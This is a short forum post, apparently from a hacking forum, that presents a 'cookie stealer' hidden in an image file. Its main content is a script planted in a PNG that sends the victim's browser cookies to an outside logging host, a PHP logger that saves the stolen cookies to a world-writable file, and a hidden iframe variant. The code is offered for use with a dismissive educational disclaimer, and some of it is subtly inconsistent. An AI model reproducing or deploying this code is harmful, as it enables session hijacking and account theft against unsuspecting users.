Cookie Stealer using IMAGES

first things first, for educational blah blah blah only works in IE

i devised a sneaky way to make a cookie logger out of an image

first i added the code to template.PNG
Code:

<script>document.location('http://vwc.byethost12.com/loggar.php?cookie='+document.cookie);</script>

now when the user clicks



in IE, he is redirected to my cookie logger with his cookie logged to my .txt file :O!

logger.php:
Code:

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>

make sure to add a log.txt file and chmod it to 777 on ur site

enjoy messing around with this

P.S. i can use iframe with it also for a nice CSRF attack
Code:

<iframe src="javascript:document.location('http://vwc.byethost12.com/loggar.php?cookie='+document.cookie);" frameborder="0" width="0" height="0">

this guide is linked to: creating malicious images